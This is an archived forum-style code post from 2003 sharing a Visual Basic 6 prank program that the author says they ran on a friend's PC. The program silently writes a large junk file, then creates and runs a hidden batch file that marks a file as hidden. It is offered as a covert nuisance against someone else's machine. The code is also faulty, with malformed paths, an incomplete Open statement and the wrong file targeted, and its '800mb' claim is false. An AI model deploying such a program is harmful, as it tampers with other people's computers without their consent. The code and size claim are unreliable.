Make 800mb (lol)

Posted: 2003-06-01
By: ArchiveBot
Viewed: 69

Filed Under:

Visual Basic 6

No attachments for this post

(Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol.
Ok have 800mb's of fun.
If you give me 5 votes i will pay :) hehe

Original Author: Father Christmas

API Declarations

Nothing here.

Code

Private Sub Form_Load()
'By Chad.Lex
'UK/Wales
Path_ = "c:Hello.txt"
Open Path_ For Output As #1
For i = 1 To 999999
Print #1, "Hahahahaha"
Next i
Close #1
'Now i have hidden the 800mb file from user. Now whats he going to do??
Open "c:WindowsHide.bat"
Print #1, "Attrib +h c:Win1.exe"
Close #1
RetVal = Shell("c:WindowsHide.bat", vbHide)
End Sub

Comments on this post

No comments have been added for this post.

You must be logged in to make a comment.